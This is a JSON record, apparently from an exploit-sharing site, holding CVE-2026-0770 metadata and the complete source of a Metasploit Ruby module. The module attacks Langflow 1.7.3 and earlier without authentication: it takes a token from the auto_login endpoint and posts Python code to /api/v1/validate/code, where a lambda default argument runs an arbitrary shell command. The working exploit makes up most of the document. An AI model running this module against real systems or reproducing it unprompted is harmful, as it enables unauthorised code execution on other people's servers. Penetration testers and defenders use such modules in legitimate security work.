{"exploit":{"id":"MSF-multi--http--langflow_rce_cve_2026_0770","name":"Langflow Unauthenticated RCE (validate endpoint)","description":"Langflow versions up to and including 1.7.3 contain a remote code execution vulnerability in the `validate` endpoint where unsanitized values in `exec_globals`/`code` allow an attacker to execute arbitrary Python code. This module abuses the `/api/v1/auto_login` (or `/api/v1/login`) and `/api/v1/validate/code` endpoints to execute an arbitrary Metasploit command payload.","cves":["CVE-2026-0770"],"author":"Diamorphine, bhaskarbhar","published":"2026-05-23","platform":"Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/langflow_rce_cve_2026_0770.rb","path":"modules/exploits/multi/http/langflow_rce_cve_2026_0770.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"langflow_rce_cve_2026_0770.rb","vulnerabilities":[{"id":"CVE-2026-0770","state":"PUBLISHED","title":"Langflow exec_globals Inclusion of Functionality from Untrusted Control Sphere Remote Code Execution Vulnerability","titleSource":"CVE Program","description":"Langflow exec_globals Inclusion of Functionality from Untrusted Control Sphere Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of the exec_globals parameter provided to the validate endpoint. The issue results from the inclusion of a resource from an untrusted control sphere. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27325.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-0770","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"zdi","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-0770"},"updatedAt":"2026-07-22T03:55:44.396Z","retrievedAt":"2026-11-25T16:15:43.331Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--langflow_rce_cve_2026_0770.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--langflow_rce_cve_2026_0770","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--langflow_rce_cve_2026_0770/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--langflow_rce_cve_2026_0770/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"# frozen_string_literal: true\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = NormalRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Langflow Unauthenticated RCE (validate endpoint)',\n        'Description' => %q{\n          Langflow versions up to and including 1.7.3 contain a remote code\n          execution vulnerability in the `validate` endpoint where unsanitized\n          values in `exec_globals`/`code` allow an attacker to execute arbitrary\n          Python code. This module abuses the `/api/v1/auto_login` (or\n          `/api/v1/login`) and `/api/v1/validate/code` endpoints to execute an\n          arbitrary Metasploit command payload.\n        },\n        'Author' => ['Diamorphine', 'bhaskarbhar'],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2026-0770' ],\n          [ 'EDB', '52597' ]\n        ],\n        'DisclosureDate' => '2026-05-23',\n        'Targets' => [\n          [\n            'Automatic',\n            {\n              'Arch' => ARCH_CMD,\n              'Platform' => 'unix'\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS]\n        }\n      )\n    )\n\n    register_options([\n      Opt::RPORT(7860),\n      OptString.new('TARGETURI', [ true, 'The base path to Langflow', '/' ]),\n      OptString.new('USERNAME', [ false, 'Username for login (if auto-login disabled)' ]),\n      OptString.new('PASSWORD', [ false, 'Password for login (if auto-login disabled)' ])\n    ])\n  end\n\n  def check\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, '/api/v1/version')\n    )\n\n    return Exploit::CheckCode::Unknown('Unexpected server response') unless res&.code == 200\n\n    version_string = res.get_json_document&.dig('version')\n    return Exploit::CheckCode::Unknown('Unable to determine Langflow version') unless version_string\n\n    version = Rex::Version.new(version_string)\n\n    if version <= Rex::Version.new('1.7.3')\n      Exploit::CheckCode::Appears(\"Langflow #{version} appears to be vulnerable\")\n    else\n      Exploit::CheckCode::Safe(\"Langflow #{version} is not vulnerable\")\n    end\n  rescue ArgumentError\n    Exploit::CheckCode::Unknown('Unable to parse Langflow version response')\n  end\n\n  def exploit\n    token = obtain_token\n    fail_with(Failure::Unknown, 'Failed to obtain an access token') if token.nil?\n\n    # JSON encoding produces escape sequences that are also valid in Python strings.\n    command = payload.encoded.to_json\n\n    code = <<~PY\n      def exploit(\n          _=( lambda r: (_ for _ in ()).throw(Exception(f\"{r.stdout}{r.stderr}\")) )(\n              __import__('subprocess').run(#{command}, shell=True, capture_output=True, text=True)\n          )\n      ):\n          pass\n    PY\n\n    body = { 'code' => code }\n\n    send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, '/api/v1/validate/code'),\n      'ctype' => 'application/json',\n      'data' => body.to_json,\n      'headers' => { 'Authorization' => \"Bearer #{token}\" }\n    )\n  end\n\n  def obtain_token\n    # Try username/password login first if provided\n    if datastore['USERNAME'] && datastore['PASSWORD']\n      login_res = send_request_cgi(\n        'method' => 'POST',\n        'uri' => normalize_uri(target_uri.path, '/api/v1/login'),\n        'vars_post' => {\n          'username' => datastore['USERNAME'],\n          'password' => datastore['PASSWORD']\n        }\n      )\n\n      if login_res && login_res.code == 200\n        json = login_res.get_json_document\n        return json['access_token'] if json && json['access_token']\n      end\n    end\n\n    # Try auto_login (unauthenticated) endpoint\n    auto_res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/api/v1/auto_login'))\n    if auto_res && auto_res.code == 200\n      json = auto_res.get_json_document\n      return json['access_token'] if json && json['access_token']\n    end\n\n    nil\n  end\nend\n","sha256":"90801d56115c6f0f8b7399655d6dc5e4a618382f7481f78972f681ab3482a155","bytes":4200,"fetchedAt":"2026-11-25T16:31:00.987Z","encoding":"utf-8 (display only; download retains original bytes)"}